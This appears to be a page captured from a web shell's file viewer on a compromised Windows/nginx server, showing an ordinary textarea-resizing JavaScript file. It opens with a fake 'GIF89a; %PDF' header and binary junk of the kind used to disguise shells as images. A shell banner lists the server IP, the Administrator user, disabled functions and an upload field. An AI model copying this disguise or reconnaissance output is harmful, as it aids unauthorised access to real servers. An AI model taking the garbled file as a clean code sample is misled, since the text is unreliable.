GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 134.29.175.74 / Your IP : 216.73.216.160 Web Server : nginx/1.10.2 System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586 User : Administrator ( 0) PHP Version : 7.1.0 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : OFF | Perl : OFF | Python : OFF | Sudo : OFF | Pkexec : OFF Directory : C:/nginx/html/js/ |
Upload File : |
// textarea.js function adjustTextareas() { var textareas = document.getElementsByTagName("textarea"); for ( $i=0; $i<textareas.length; $i++ ) { adjustTextarea(textareas[$i]) } } function adjustTextarea(e) { //console.log('adjustTextarea('+e.id+')'); e.style.height = "1px"; textareaScrollHeight = e.scrollHeight; //console.log(e.id+' textareaScrollHeight = '+textareaScrollHeight); if ( textareaScrollHeight == 0 || textareaScrollHeight == '0' ) { textareaScrollHeight = 15; //console.log(e.id+' textareaScrollHeight changed to '+textareaScrollHeight); } e.style.height = textareaScrollHeight+"px"; } // resizeTextareas(maxWidth) // Resizes all textareas on the page. // minWidth = The minimum textarea width. // maxWidth = The maximum textarea width. function resizeTextareas(minWidth, maxWidth) { //alert('resizeTextareas('+maxWidth+')'); if ( minWidth == undefined ) minWidth = 80; if ( maxWidth == undefined ) maxWidth = 200; var textareas = document.getElementsByTagName("textarea"); for ( $i=0; $i<textareas.length; $i++ ) { resizeTextareaById(textareas[$i], minWidth, maxWidth) } } // resizeTextarea(eName,maxWidth) // Resizes eName textarea. // maxWidth = The maximum textarea width. function resizeTextarea(eName, minWidth, maxWidth) { if ( document.getElementById(eName) ) { if ( minWidth == undefined ) minWidth = 80; if ( maxWidth == undefined ) maxWidth = 200; eId = document.getElementById(eName); resizeTextareaById(eId,maxWidth); } else { console.warn('resizeTextarea eName is undefined.'); } } // resizeTextareaById(eId, maxWidth) // Called by resizeTextareas() or resizeTextarea() to resize this textarea. function resizeTextareaById(eId, minWidth, maxWidth) { if ( typeof minWidth == 'undefined' ) { minWidth = 80; } if ( typeof maxWidth == 'undefined' ) { maxWidth = 1000; } let eTag = ''; if ( ( typeof +eId.name == 'undefined' ) || +eId.name === '' ) { eTag = eId.id; } else { eTag = eId.name; } console.log('resizeTextareaById('+eTag+', '+minWidth+', '+maxWidth+')'); var width = 0; // Used to calculate the textarea's current width. var height = 0; // Used to calculate the textarea's current height. //var minWidth = 20; // The textarea's minimum width. var minHeight = 1; // The textarea's minimum height. var linelengthmodifier = 1.1; // Used to modify linelength due to font. lines = eId.value.split('\n'); // Get an array of the textarea's lines. //alert('name='+eId.name+' value='+eId.value); for (var i = 0; i < lines.length; i++) { // Loop through each line. var linelength = lines[i].length * linelengthmodifier; // Get the line length. console.log(linelength); if ( linelength > width ) width = linelength; // Increase width if needed. height++; // Increment height. } //height *= 1.4; if ( width > maxWidth ) { // If width too large reset it and increment height. console.log('width='+width+' > maxWidth'+maxWidth); width = maxWidth; for (var i = 0; i < lines.length; i++) { // Loop through each line. var linelength = lines[i].length; // Get the line length. if ( linelength > width ) height++; // Increment height. } height++; // Increment height. } if ( width < minWidth ) width = minWidth; // If width too small set to minWidth. if ( height < minHeight ) height = minHeight; // If height too small set to minHeight. console.log('name='+eId.name+' width='+width+' height='+height); if ( width > 0 ) eId.cols = width; // Set the textarea's width. if ( height > 0 ) eId.rows = height; // Set the textarea's height. }